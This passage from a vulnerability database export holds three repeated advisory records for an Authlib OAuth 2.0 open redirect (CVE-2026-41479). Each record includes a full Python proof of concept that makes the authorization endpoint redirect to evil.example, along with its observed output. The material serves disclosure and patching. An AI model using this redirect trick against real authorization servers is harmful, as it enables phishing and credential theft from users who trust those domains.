unsupported\u0026redirect_uri=https%3A%2F%2Fevil.example%2Flanding\u0026state=s1\",\n      }\n      out = {}\n      for name, url in cases.items():\n          r = c.get(url)\n          out[name] = {\n              \"status\": r.status_code,\n              \"location\": r.headers.get(\"Location\"),\n              \"body\": r.get_data(as_text=True),\n          }\n      print(json.dumps(out, indent=2))\n  PY\n\n  Observed result:\n\n  {\n    \"without_redirect_uri\": {\n      \"status\": 400,\n      \"location\": null,\n      \"body\": \"{\\\"error\\\": \\\"unsupported_response_type\\\", \\\"error_description\\\": \\\"totally-\n  unsupported\\\", \\\"state\\\": \\\"s1\\\"}\"\n    },\n    \"with_attacker_redirect_uri\": {\n      \"status\": 302,\n      \"location\":\n  \"https://evil.example/landing?error=unsupported_response_type\u0026error_description=totally-unsupported\u0026state=s1\",                                                                                    \n      \"body\": \"\"\n    }\n  }\n\n  This demonstrates that the only difference between a local error and an external redirect is\n  whether the attacker supplies redirect_uri.\n\n  The same behavior was locally reproduced with the Django integration using RequestFactory; it\n  returned:\n\n  {\n    \"status\": 302,\n    \"location\":\n  \"https://evil.example/landing?error=unsupported_response_type\u0026error_description=totally-unsupported\u0026state=s1\",                                                                                    \n    \"body\": \"\"\n  }\n\n### Impact\n  This is an unauthenticated open redirect in an internet-facing authorization endpoint.\n\n  Who is impacted:\n\n  - Any deployment using Authlib\u0027s OAuth 2.0 authorization server and the documented authorization\n    endpoint flow.\n  - No special feature flag is required beyond running the authorization endpoint itself.\n\n  Attacker prerequisites:\n\n  - None beyond the ability to send a victim to a crafted authorization URL.\n\n  Practical harm:\n\n  - Phishing and credential theft by abusing a trusted authorization server domain as a\n    redirector.\n  - Bypass of domain-based allowlists that trust the authorization server\u0027s host.\n  - SSO / OAuth confusion in ecosystems where trusted authorization endpoints are expected to\n    reject unregistered redirect URIs before redirecting.\n\n  The issue is especially concerning because the redirect happens before client existence and\n  redirect URI legitimacy are established.",
  "id": "BREW-oterm-CVE-2026-41479",
  "modified": "2026-09-10T20:17:35Z",
  "published": "2026-08-13T17:24:19Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/authlib/authlib/security/advisories/GHSA-w8p2-r796-3vmq"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41479"
    },
    {
      "type": "WEB",
      "url": "https://github.com/authlib/authlib/commit/3be08468201a7766a93012ce149ea12822cab096"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/authlib/authlib"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/authlib/PYSEC-2026-2119.yaml"
    }
  ],
  "schema_version": "1.7.3",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Authlib OAuth 2.0 has Open Redirect in Authorization API that allows attacker-controlled redirect_uri through unsupported response_type",
  "upstream": [
    "GHSA-w8p2-r796-3vmq",
    "CVE-2026-41479",
    "PYSEC-2026-2119"
  ]
}

{
  "affected": [
    {
      "ecosystem_specific": {
        "fix": "bump",
        "range_state": "fixed",
        "resource": "authlib",
        "resource_purl": "pkg:pypi/authlib@1.7.2",
        "upstream_fixed_in": "1.7.1"
      },
      "package": {
        "ecosystem": "Homebrew",
        "name": "safety",
        "purl": "pkg:brew/safety"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.2.4"
            },
            {
              "fixed": "3.7.0_10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "database_specific": {
    "confidence": "high",
    "source": "matched",
    "strategy": "registry",
    "upstream_evidence": [
      {
        "ecosystem": "PyPI",
        "key": "pkg:pypi/authlib@1.7.2",
        "name": "authlib",
        "resource": "authlib",
        "strategy": "registry",
        "subject_version": "1.7.2"
      }
    ]
  },
  "details": "### Summary\nAuthlib\u0027s OAuth 2.0 authorization endpoint can be turned into an unauthenticated open redirect when a request uses an unsupported response_type and supplies an attacker-controlled redirect_uri.\n\nThe vulnerable behavior happens before client lookup and before any redirect URI validation. As a result, an attacker does not need a valid client registration, an authenticated user, or any prior state. A single request to the authorization endpoint is enough to obtain a 302 Location response to an arbitrary attacker-controlled URL.\n\nIt was confirmed that the vulnerable code is present in tag v1.6.6 and in the current HEAD under test (68e6ab3fdfc71a328b1966bad5c6aba0f7d0c2e1, git describe: v1.6.6-104-g68e6ab3f). The issue was dynamically reproduced locally on the current HEAD.\n\n### Details\nThe root cause is that `AuthorizationServer.get_authorization_grant()` copies the raw request\n  `redirect_uri` into an `UnsupportedResponseTypeError` before any client has been resolved and\n  before any redirect URI validation has happened:\n\n  ```python\n  # authlib/oauth2/rfc6749/authorization_server.py\n  raise UnsupportedResponseTypeError(\n      f\"The response type \u0027{request.payload.response_type}\u0027 is not supported by the server.\",\n      request.payload.response_type,\n      redirect_uri=request.payload.redirect_uri,\n  )\n\n  That error object is later rendered by OAuth2Error.__call__(). If redirect_uri is set, Authlib\n  automatically returns a redirect response to that URI:\n\n  # authlib/oauth2/base.py\n  def __call__(self, uri=None):\n      if self.redirect_uri:\n          params = self.get_body()\n          loc = add_params_to_uri(self.redirect_uri, params, self.redirect_fragment)\n          return 302, \"\", [(\"Location\", loc)]\n      return super().__call__(uri=uri)\n\n  This means an unsupported response_type request can force the authorization server to redirect\n  to an attacker-controlled URL even when:\n\n  1. no valid client exists,\n  2. no grant matched the request,\n  3. no registered redirect_uri was ever checked.\n\n  This is not a contrived code path. It is reachable through the normal Authlib authorization\n  endpoint flow documented for Flask and Django integrations, where applications are told to call\n  server.get_consent_grant(...) and then server.handle_error_response(...) on OAuth2Error.\n\n  Relevant source and documentation references:\n\n  - authlib/oauth2/rfc6749/authorization_server.py\n  - authlib/oauth2/base.py\n  - docs/flask/2/authorization-server.rst\n  - docs/django/2/authorization-server.rst\n\n  ### PoC\n\n  Local test environment:\n\n  - Repository checkout: 68e6ab3fdfc71a328b1966bad5c6aba0f7d0c2e1\n  - git describe: v1.6.6-104-g68e6ab3f\n  - Python virtualenv: ./.venv\n  - Environment variable: AUTHLIB_INSECURE_TRANSPORT=true\n\n  Note: AUTHLIB_INSECURE_TRANSPORT=true was only used to allow local loopback HTTP reproduction.\n  It does not create the vulnerable behavior. In a real deployment the same logic is reachable\n  over HTTPS.\n\n  Run this exact PoC from the repository root:\n\n  export AUTHLIB_INSECURE_TRANSPORT=true\n  ./.venv/bin/python - \u003c\u003c\u0027PY\u0027\n  import os, json\n  from flask import Flask, request\n  from authlib.integrations.flask_oauth2 import AuthorizationServer\n  from authlib.oauth2 import OAuth2Error\n  from authlib.oauth2.rfc6749.grants import AuthorizationCodeGrant as _AuthorizationCodeGrant\n\n  os.environ[\"AUTHLIB_INSECURE_TRANSPORT\"] = \"true\"\n\n  class AuthorizationCodeGrant(_AuthorizationCodeGrant):\n      def save_authorization_code(self, code, request):\n          raise RuntimeError(\"not reached\")\n      def query_authorization_code(self, code, client):\n          return None\n      def delete_authorization_code(self, authorization_code):\n          pass\n      def authenticate_user(self, authorization_code):\n          return None\n\n  app = Flask(__name__)\n  app.secret_key = \"testing\"\n\n  server = AuthorizationServer(\n      app,\n      query_client=lambda client_id: None,\n      save_token=lambda token, request: None,\n  )\n  server.register_grant(AuthorizationCodeGrant)\n\n  @app.route(\"/oauth/authorize\", methods=[\"GET\", \"POST\"])\n  def authorize():\n      try:\n          grant = server.get_consent_grant(end_user=None)\n      except OAuth2Error as error:\n          return server.handle_error_response(request, error)\n      return server.create_authorization_response(grant=grant, grant_user=None)\n\n  with app.test_client() as c:\n      cases = {\n          \"without_redirect_uri\": \"/oauth/authorize?response_type=totally-unsupported\u0026state=s1\",\n          \"with_attacker_redirect_uri\": \"/oauth/authorize?response_type=totally-\n  unsupported\u0026redirect_uri=https%3A%2F%2Fevil.example%2Flanding\u0026state=s1\",\n      }\n      out = {}\n      for name, url in cases.items():\n          r = c.get(url)\n          out[name] = {\n              \"status\": r.status_code,\n              \"location\": r.headers.get(\"Location\"),\n              \"body\": r.get_data(as_text=True),\n          }\n      print(json.dumps(out, indent=2))\n  PY\n\n  Observed result:\n\n  {\n    \"without_redirect_uri\": {\n      \"status\": 400,\n      \"location\": null,\n      \"body\": \"{\\\"error\\\": \\\"unsupported_response_type\\\", \\\"error_description\\\": \\\"totally-\n  unsupported\\\", \\\"state\\\": \\\"s1\\\"}\"\n    },\n    \"with_attacker_redirect_uri\": {\n      \"status\": 302,\n      \"location\":\n  \"https://evil.example/landing?error=unsupported_response_type\u0026error_description=totally-unsupported\u0026state=s1\",                                                                                    \n      \"body\": \"\"\n    }\n  }\n\n  This demonstrates that the only difference between a local error and an external redirect is\n  whether the attacker supplies redirect_uri.\n\n  The same behavior was locally reproduced with the Django integration using RequestFactory; it\n  returned:\n\n  {\n    \"status\": 302,\n    \"location\":\n  \"https://evil.example/landing?error=unsupported_response_type\u0026error_description=totally-unsupported\u0026state=s1\",                                                                                    \n    \"body\": \"\"\n  }\n\n### Impact\n  This is an unauthenticated open redirect in an internet-facing authorization endpoint.\n\n  Who is impacted:\n\n  - Any deployment using Authlib\u0027s OAuth 2.0 authorization server and the documented authorization\n    endpoint flow.\n  - No special feature flag is required beyond running the authorization endpoint itself.\n\n  Attacker prerequisites:\n\n  - None beyond the ability to send a victim to a crafted authorization URL.\n\n  Practical harm:\n\n  - Phishing and credential theft by abusing a trusted authorization server domain as a\n    redirector.\n  - Bypass of domain-based allowlists that trust the authorization server\u0027s host.\n  - SSO / OAuth confusion in ecosystems where trusted authorization endpoints are expected to\n    reject unregistered redirect URIs before redirecting.\n\n  The issue is especially concerning because the redirect happens before client existence and\n  redirect URI legitimacy are established.",
  "id": "BREW-safety-CVE-2026-41479",
  "modified": "2026-09-17T17:35:56Z",
  "published": "2026-08-13T17:33:32Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/authlib/authlib/security/advisories/GHSA-w8p2-r796-3vmq"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41479"
    },
    {
      "type": "WEB",
      "url": "https://github.com/authlib/authlib/commit/3be08468201a7766a93012ce149ea12822cab096"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/authlib/authlib"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/authlib/PYSEC-2026-2119.yaml"
    }
  ],
  "schema_version": "1.7.3",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Authlib OAuth 2.0 has Open Redirect in Authorization API that allows attacker-controlled redirect_uri through unsupported response_type",
  "upstream": [
    "GHSA-w8p2-r796-3vmq",
    "CVE-2026-41479",
    "PYSEC-2026-2119"
  ]
}

{
  "affected": [
    {
      "ecosystem_specific": {
        "fix": "bump",
        "range_state": "fixed",
        "resource": "authlib",
        "resource_purl": "pkg:pypi/authlib@1.7.2",
        "upstream_fixed_in": "1.7.1"
      },
      "package": {
        "ecosystem": "Homebrew",
        "name": "weaviate-cli",
        "purl": "pkg:brew/weaviate-cli"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.2"
            },
            {
              "fixed": "3.4.0_1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "database_specific": {
    "confidence": "high",
    "source": "matched",
    "strategy": "registry",
    "upstream_evidence": [
      {
        "ecosystem": "PyPI",
        "key": "pkg:pypi/authlib@1.7.2",
        "name": "authlib",
        "resource": "authlib",
        "strategy": "registry",
        "subject_version": "1.7.2"
      }
    ]
  },
  "details": "### Summary\nAuthlib\u0027s OAuth 2.0 authorization endpoint can be turned into an unauthenticated open redirect when a request uses an unsupported response_type and supplies an attacker-controlled redirect_uri.\n\nThe vulnerable behavior happens before client lookup and before any redirect URI validation. As a result, an attacker does not need a valid client registration, an authenticated user, or any prior state. A single request to the authorization endpoint is enough to obtain a 302 Location response to an arbitrary attacker-controlled URL.\n\nIt was confirmed that the vulnerable code is present in tag v1.6.6 and in the current HEAD under test (68e6ab3fdfc71a328b1966bad5c6aba0f7d0c2e1, git describe: v1.6.6-104-g68e6ab3f). The issue was dynamically reproduced locally on the current HEAD.\n\n### Details\nThe root cause is that `AuthorizationServer.get_authorization_grant()` copies the raw request\n  `redirect_uri` into an `UnsupportedResponseTypeError` before any client has been resolved and\n  before any redirect URI validation has happened:\n\n  ```python\n  # authlib/oauth2/rfc6749/authorization_server.py\n  raise UnsupportedResponseTypeError(\n      f\"The response type \u0027{request.payload.response_type}\u0027 is not supported by the server.\",\n      request.payload.response_type,\n      redirect_uri=request.payload.redirect_uri,\n  )\n\n  That error object is later rendered by OAuth2Error.__call__(). If redirect_uri is set, Authlib\n  automatically returns a redirect response to that URI:\n\n  # authlib/oauth2/base.py\n  def __call__(self, uri=None):\n      if self.redirect_uri:\n          params = self.get_body()\n          loc = add_params_to_uri(self.redirect_uri, params, self.redirect_fragment)\n          return 302, \"\", [(\"Location\", loc)]\n      return super().__call__(uri=uri)\n\n  This means an unsupported response_type request can force the authorization server to redirect\n  to an attacker-controlled URL even when:\n\n  1. no valid client exists,\n  2. no grant matched the request,\n  3. no registered redirect_uri was ever checked.\n\n  This is not a contrived code path. It is reachable through the normal Authlib authorization\n  endpoint flow documented for Flask and Django integrations, where applications are told to call\n  server.get_consent_grant(...) and then server.handle_error_response(...) on OAuth2Error.\n\n  Relevant source and documentation references:\n\n  - authlib/oauth2/rfc6749/authorization_server.py\n  - authlib/oauth2/base.py\n  - docs/flask/2/authorization-server.rst\n  - docs/django/2/authorization-server.rst\n\n  ### PoC\n\n  Local test environment:\n\n  - Repository checkout: 68e6ab3fdfc71a328b1966bad5c6aba0f7d0c2e1\n  - git describe: v1.6.6-104-g68e6ab3f\n  - Python virtualenv: ./.venv\n  - Environment variable: AUTHLIB_INSECURE_TRANSPORT=true\n\n  Note: AUTHLIB_INSECURE_TRANSPORT=true was only used to allow local loopback HTTP reproduction.\n  It does not create the vulnerable behavior. In a real deployment the same logic is reachable\n  over HTTPS.\n\n  Run this exact PoC from the repository root:\n\n  export AUTHLIB_INSECURE_TRANSPORT=true\n  ./.venv/bin/python - \u003c\u003c\u0027PY\u0027\n  import os, json\n  from flask import Flask, request\n  from authlib.integrations.flask_oauth2 import AuthorizationServer\n  from authlib.oauth2 import OAuth2Error\n  from authlib.oauth2.rfc6749.grants import AuthorizationCodeGrant as _AuthorizationCodeGrant\n\n  os.environ[\"AUTHLIB_INSECURE_TRANSPORT\"] = \"true\"\n\n  class AuthorizationCodeGrant(_AuthorizationCodeGrant):\n      def save_authorization_code(self, code, request):\n          raise RuntimeError(\"not reached\")\n      def query_authorization_code(self, code, client):\n          return None\n      def delete_authorization_code(self, authorization_code):\n          pass\n      def authenticate_user(self, authorization_code):\n          return None\n\n  app = Flask(__name__)\n  app.secret_key = \"testing\"\n\n  server = AuthorizationServer(\n      app,\n      query_client=lambda client_id: None,\n      save_token=lambda token, request: None,\n  )\n  server.register_grant(AuthorizationCodeGrant)\n\n  @app.route(\"/oauth/authorize\", methods=[\"GET\", \"POST\"])\n  def authorize():\n      try:\n          grant = server.get_consent_grant(end_user=None)\n      except OAuth2Error as error:\n          return server.handle_error_response(request, error)\n      return server.create_authorization_response(grant=grant, grant_user=None)\n\n  with app.test_client() as c:\n      cases = {\n          \"without_redirect_uri\": \"/oauth/authorize?response_type=totally-unsupported\u0026state=s1\",\n          \"with_attacker_redirect_uri\": \"/oauth/authorize?response_type=totally-\n  unsupported\u0026redirect_uri=https%3A%2F%2Fevil.example%2Flanding\u0026state=s1\",\n      }\n      out = {}\n      for name, url in cases.items():\n          r = c.get(url)\n          out[name] = {\n              \"status\": r.status_code,\n              \"location\": r.headers.get(\"Location\"),\n              \"body\": r.get_data(as_text=True),\n          }\n      print(json.dumps(out, indent=2))\n  PY\n\n  Observed result:\n\n  {\n    \"without_redirect_uri\": {\n      \"status\": 400,\n      \"location\": null,\n      \"body\": \"{\\\"error\\\": \\\"unsupported_response_type\\\", \\\"error_description\\\": \\\"totally-\n  unsupported\\\", \\\"state\\\": \\\"s1\\\"}\"\n    },\n    \"with_attacker_redirect_uri\": {\n      \"status\": 302,\n      \"location\":\n  \"https://evil.example/landing?error=unsupported_response_type\u0026error_description=totally-unsupported\u0026state=s1\",                                                                                    \n      \"body\": \"\"\n    }\n  }\n\n  This demonstrates that the only difference between a local error and an external redirect is\n  whether the attacker supplies redirect_uri.\n\n  The same behavior was locally reproduced with the Django integration using RequestFactory; it\n  returned:\n\n  {\n    \"status\": 302,\n    \"location\":\n  \"https://evil.example/landing?error=unsupported_response_type\u0026error_description=totally-unsupported\u0026state=s1\",                                                                                    \n    \"body\": \"\"\n  }\n\n### Impact\n  This is an unauthenticated open redirect in an internet-facing authorization endpoint.\n\n  Who is impacted:\n\n  - Any deployment using Authlib\u0027s OAuth 2.0 authorization server and the documented authorization\n    endpoint flow.\n  - No special feature flag is required beyond running the authorization endpoint itself.\n\n  Attacker prerequisites:\n\n  - None beyond the ability to send a victim to a crafted authorization URL.\n\n  Practical harm:\n\n  - Phishing and credential theft by abusing a trusted authorization server domain as a\n    redirector.\n  - Bypass of domain-based allowlists that trust the authorization server\u0027s host.\n  - SSO / OAuth confusion in ecosystems where trusted authorization endpoints are expected to\n    reject unregistered redirect URIs before redirecting.\n\n  The issue is especially concerning because the redirect happens before client existence and\n  redirect URI legitimacy are established.",
  "id": "BREW-weaviate-cli-CVE-2026-41479",
  "modified": "2026-09-17T18:36:25Z",
  "published": "2026-08-13T17:49:06Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/authlib/authlib/security/advisories/GHSA-w8p2-r796-3vmq"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41479"
    },
    {
      "type": "WEB",
      "url": "https://github.com/authlib/authlib/commit/3be08468201a7766a93012ce149ea12822cab096"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/authlib/authlib"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/authlib/PYSEC-2026-2119.yaml"
    }
  ],
  "schema_version": "1.7.3",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Authlib OAuth 2.0 has Open Redirect in Authorization API that allows attacker-controlled redirect_uri through unsupported response_type",
  "upstream": [
    "GHSA-w8p2-r796-3vmq",
    "CVE-2026-41479",
    "PYSEC-2026-2119"
  ]
}